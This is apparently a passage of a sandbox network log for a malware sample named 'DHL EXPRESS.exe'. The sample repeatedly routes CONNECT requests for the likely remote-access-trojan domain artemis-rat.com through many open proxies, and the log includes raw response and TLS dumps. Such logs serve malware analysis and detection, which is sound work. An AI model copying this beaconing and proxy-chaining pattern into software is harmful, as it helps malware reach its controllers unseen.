Mar 11, 2024 18:36:46.934276104 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
435	192.168.2.8	50679	194.4.50.62	12334	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.786284924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
436	192.168.2.8	51312	38.54.101.254	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.787276983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.965394020 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
437	192.168.2.8	51283	162.223.116.75	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.788306952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.013231993 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:46 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
438	192.168.2.8	51335	104.16.106.234	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.796173096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.951400995 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
439	192.168.2.8	51297	198.23.229.203	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.804358959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
440	192.168.2.8	51263	212.83.137.165	61564	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.807477951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.465507984 CET	24	IN	HTTP/1.1 200 #string

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
441	192.168.2.8	51243	194.247.173.17	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.808134079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
442	192.168.2.8	51242	37.207.45.15	48678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.810280085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.927866936 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
443	192.168.2.8	51303	66.45.246.194	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.831072092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.052201986 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:46 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
444	192.168.2.8	51258	37.235.48.19	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.832957029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
445	192.168.2.8	51260	200.97.76.186	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.833534956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.162852049 CET	203	IN	HTTP/1.0 403 Forbidden Content-Length: 1076 Content-Type: text/html Date: Mon, 11 Mar 2024 17:36:46 GMT Expires: Mon, 11 Mar 2024 17:36:46 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
446	192.168.2.8	51241	69.61.200.104	36181	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.834424019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
447	192.168.2.8	50672	37.187.77.58	37920	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.847826958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.956741095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.956855059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
448	192.168.2.8	50706	72.210.221.223	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.852981091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
449	192.168.2.8	51307	190.153.121.2	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.853971958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
450	192.168.2.8	51269	159.223.71.71	59098	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.856125116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.549983025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
451	192.168.2.8	51267	91.151.90.9	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.857065916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.196357965 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 18:36:47.219302893 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ef 41 2e bd 1b 84 15 d2 9d 2c 2d 19 6a 9e 5a 27 5a 74 82 4d 54 b1 61 a9 68 dd 41 1f 5e 20 97 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eA.,-jZ'ZtMTahA^ *,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 18:36:47.578197002 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ef 41 2f af 74 ba 9a 64 40 12 58 d5 b2 a6 33 f4 bd b6 b2 45 9a 36 34 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 6b 0b 00 10 67 00 Data Ascii: C?eA/td@X3E64DOWNGRD/#kgde0a0I?LR0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240214225240Z240514225239Z010
Mar 11, 2024 18:36:47.578336954 CET	1286	IN	Data Raw: 98 6e 71 f4 11 ac 4d b8 a7 7d 6f da c6 bc f4 b1 9e 56 4d 29 6b 80 18 2b 54 cc 2f af 96 ce 21 d1 4a a2 d6 af dc dc c3 23 73 8a f8 60 aa 82 11 8f 73 e6 dd de ff f1 c4 74 75 19 89 f2 11 f3 81 b3 5c 09 1f 05 21 66 f5 dc f5 01 c2 34 dc e1 8e 2b 77 c7 Data Ascii: nqM}oVM)k+T/!J#s`stu\!f4+wF3yO3RDw.QJRh8?hXZR`UHG3XF%~ t\5\|0F<Arp'~00tP'S"0*H0G10UUS
Mar 11, 2024 18:36:47.578433990 CET	1286	IN	Data Raw: 9f 57 a9 41 6d 5a 90 a7 db 3a ea 75 80 0c 63 0b 69 74 6f 07 4c 15 f3 37 28 a5 19 a4 6e f5 f6 20 cd 63 b2 7e c4 2b 09 75 89 da d1 3c 2e 72 4f 36 1a a1 9e 44 d0 cd 9b a6 23 08 3f 97 a1 a7 9e 5a a5 f7 09 94 ad 5d 76 5d 28 56 d1 1a 66 51 51 07 7b de Data Ascii: WAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\9+S/tgw7-[peZ%wjNuMjfynm"m,P5}pY*
Mar 11, 2024 18:36:47.578493118 CET	736	IN	Data Raw: 30 02 86 1d 68 74 74 70 3a 2f 2f 70 6b 69 2e 67 6f 6f 67 2f 67 73 72 31 2f 67 73 72 31 2e 63 72 74 30 32 06 03 55 1d 1f 04 2b 30 29 30 27 a0 25 a0 23 86 21 68 74 74 70 3a 2f 2f 63 72 6c 2e 70 6b 69 2e 67 6f 6f 67 2f 67 73 72 31 2f 67 73 72 31 2e Data Ascii: 0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0*H4(v1z!R>tA=5\_\|W&o[Fh7okz7%QhIZ
Mar 11, 2024 18:36:47.638624907 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 58 aa 8d 0e 97 a2 26 02 70 06 5b 21 01 b3 29 dd 11 87 f2 9e 05 bd 30 64 4c 1c f0 d6 7a a5 fd 11 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 2e a3 d6 77 e1 28 03 fa c7 c3 b1 8f d7 fe 2a a2 8d ea ea d3 37 Data Ascii: %! X&p[!)0dLz(.w(*7&TYP#F
Mar 11, 2024 18:36:47.992610931 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 20 00 c0 66 c8 6a 50 8e b0 72 dc 36 98 54 60 6a 9d 04 20 1d 29 6e c9 4a ad 00 2c 26 1c e6 15 b6 db 6d c4 b6 c4 8f ed b9 13 ff 7a 80 7d 1d 19 59 82 cd 8f d2 18 67 73 01 a9 37 07 15 56 a1 31 13 78 0b dc 5e d9 3e Data Ascii: fjPr6T`j )nJ,&mz}Ygs7V1x^>T@R:Dy5C!I$u}abF-yGmg\rZdWHc(\|fK!EY3{KRzGq;N%\(HI_Z5
Mar 11, 2024 18:36:48.263334036 CET	252	OUT	Data Raw: 17 03 03 00 f7 00 00 00 00 00 00 00 01 38 84 3a 78 14 9c a1 f3 95 ec 1a 77 8b 4d 66 f4 63 d2 86 91 ff af 9a 7d 13 d2 2e cf 6a ae 16 00 89 d2 f9 3d 76 c3 bb 1a 0b 0d 93 be de 77 5d ae c1 3c 57 3c 8d dc a1 c0 4c 18 54 4d 92 32 2c dc 72 6c 0d 52 a3 Data Ascii: 8:xwMfc}.j=vw]<W<LTM2,rlRLu~/X&^G19**<t}7b{mX3/s.]#~Cl]i1M#u'hnOb#gB1f;,O@_a]!z@vZeX%
Mar 11, 2024 18:36:48.624778986 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 c0 a8 69 eb b7 9d 20 0c 72 cd 5e 27 8f e5 e3 ff 93 d3 96 cd c0 27 c9 ff 06 f6 0c 87 79 46 6a 48 a1 59 88 08 f4 29 9e 4f 84 3a 95 de 14 7b 12 04 af fd 65 9a 41 66 b7 2d b9 6d 0a 82 27 a8 5c 63 f6 f5 06 24 b0 Data Ascii: qi r^''yFjHY)O:{eAf-m'\c$L72)kgUo,KdvX0Z,Rwh'J#R[ghQLLjCI[b<9#7Z<E*-%_uAHJirb[h><
Mar 11, 2024 18:36:48.624963045 CET	1286	IN	Data Raw: 20 0d 01 40 61 16 5a 37 f4 e5 db f9 65 12 34 a6 7f 16 89 8a 3d cd 6a 31 41 54 cd 3b 3a 1d a0 32 2c 35 dd 43 c7 4b 91 12 65 70 af 2b db b4 71 e6 5b f6 6d 57 18 03 e8 98 83 2c 25 a9 52 37 c3 f8 0c 29 0a 2c 94 7d e3 c9 bb 8c 36 dd af 17 1a 6b a4 fd Data Ascii: @aZ7e4=j1AT;:2,5CKep+q[mW,%R7),}6k\)dJoao/nwqH*XFMgreq{bau0OYYm,Q_ rDJ%t9XO[Y9(r4=EdpG\|}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
452	192.168.2.8	50802	147.124.212.31	13276	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.866553068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.909555912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.999196053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.097255945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
453	192.168.2.8	50675	148.72.206.84	2536	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.877432108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.956813097 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.956845045 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.956547976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.959940910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:23.065725088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:35.190951109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:59.206386089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:47.300107002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
454	192.168.2.8	51328	174.64.199.79	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.891993999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
455	192.168.2.8	51331	68.1.210.163	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:46.895334959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
456	192.168.2.8	51329	98.162.25.29	31679	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
